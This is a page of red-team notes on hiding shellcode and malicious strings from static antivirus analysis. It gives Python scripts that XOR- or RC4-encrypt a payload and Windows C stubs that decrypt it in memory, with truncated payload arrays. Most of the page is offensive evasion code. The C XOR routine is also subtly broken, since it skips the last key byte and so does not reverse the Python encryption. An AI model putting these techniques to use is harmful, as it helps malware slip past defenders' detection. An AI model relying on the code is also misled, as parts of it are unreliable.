Red Team Notes logo Red Team Notes

We need to transform our payload or malicious strings to avoid being detected with a static analysis. There are differents algorithms that can be used, but XOR or RC4 are the faster ones.

XOR

XOR is one of the easiest algorithms to encrypt.

Note: XOR is a symmetric cryptography algorithm that the length of the message is the same as the length of the cipher len(ciphered_text) == len(plaintext).

We can use python to encrypt our shellcode or strings:

import sys
KEY = "mysecretkeee"

def xor(data, key):
	
	key = str(key)
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i % len(key)]
		output_str += chr((current) ^ ord(current_key))
	
	return output_str

def printCiphertext(ciphertext):
	print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

Once we have our payload we can decrypt it in memory.

#include <windows.h>
#include <stdio.h>

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j = 0;
	int i;
	for (i=0; i < data_len; i++){
		if (j == key_len - 1){
			j = 0;
		} 
		data[i] = data[i] ^ key[j];
		j++;
	}
}

char payload[] ={0x91, 0x31, 0xf0,...};
char key[] = {0x91, 0x2a,...};
int payload_len = sizeof(payload);

int main() {
   
    XOR((char *) payload, payload_len, key, sizeof(key));
}

RC4

RC4 (also known as Rivest Cipher 4) is a form of stream cipher. It encrypts messages one byte at a time via an algorithm and uses XOR as a part of the algorithm.

Note: RC4 is a symmetric cryptography algorithm that the length of the message is the same as the length of the cipher len(ciphered_text) == len(plaintext).

Here an example of python script to encrypt our shellcode or strings, will save the result in a file and print both the key and the ciphered payload on the screen for easy use.

import array
import sys
import io

#
# Usage: python3 encryptShellcode.py shellcode.bin Passw0rd! shellcode.enc
# 


filename = sys.argv[1]
password = sys.argv[2]
out_filename = sys.argv[3]

def print_hex(a):
    out = "{"
    for i in range(0,len(a) -1, 2):
        if i == len(a)-2:
            out += "0x%s%s" % (a[i],a[i+1])
        else:
            out += "0x%s%s, " % (a[i],a[i+1])
    out += "}"
    print(out)
    print()

def ByteToHex (bytestring):
    s = ''.join('{:02x}'.format(x) for x in bytestring)
    return s

def crypt(key, data):
    S = list(range(256))
    j = 0

    for i in list(range(256)):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]

    j = 0
    y = 0
    out = []

    for char in data:
       j = (j + 1) % 256
       y = (y + S[j]) % 256
       S[j], S[y] = S[y], S[j]
       out.append(char ^ S[(S[j] + S[y]) % 256])
       
    return out

def read_filename(path):

    f = open(path, "rb") # read binary data
    s = f.read() # read all bytes into a string
    print(len(s))
    return array.array("B", s) # "f" for float

def write_filename(path, ciphered_data):
    out_filename = open(path, "wb") 
    out_filename.write(ciphered_data)
    out_filename.close()

data = read_filename(filename)

print("[!] Data")
print_hex(ByteToHex(data))
ciphered_data = crypt (password, data)

print("[!] Key")
key = [ord(char) for char in password]
print_hex(ByteToHex(key))

print("[!] Encrypted RC4 Data")
print_hex(ByteToHex(ciphered_data))
write_filename(out_filename, array.array("B", ciphered_data))

Once we have our payload we can decrypt it in memory with cpp.

#include <windows.h>
#include <stdio.h>

#define MAX_LEN 10000

int RC4(unsigned char * data, unsigned char * key, const int data_len, const int key_len){
    unsigned char S[256];
    unsigned char T[256];
    unsigned char keystream[MAX_LEN];
    int i;
    int j;
    int y;
    unsigned char temp = 0;

    // Initialize S and T vect  ors
    for(i=0; i<256; i++){
        S[i] = i;
        T[i] = key[i % key_len];
    }

    // KSA -> Permutation
    j = 0;
    for(i=0; i<256; i++){
        j = (j + S[i] + T[i]) % 256;
        //swap
        temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }

    // PRGA -> Generates a Keystream
    i = 0;
    j = 0;
    for(y=0; y<data_len; y++){
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;

        // swap
        temp = 0;
        temp = S[i];
        S[i] = S[j];
        S[j] = temp;

        temp = (S[i] + S[j]) % 256;
        keystream[y] =  S[temp];
    }

    // XOR -> Data with PRGA Keystream
    for(i=0; i<data_len; i++){
        data[i] = data[i] ^ keystream[i];
    }
    return 0;
}

char payload[] ={0x17, 0xd7,...};
char key[] = {0x4b, 0x65, 0x79,...};
int payload_len = sizeof(payload);

int main() {
    RC4((unsigned char *)payload, (unsigned char *)key, payload_len, sizeof(key));
}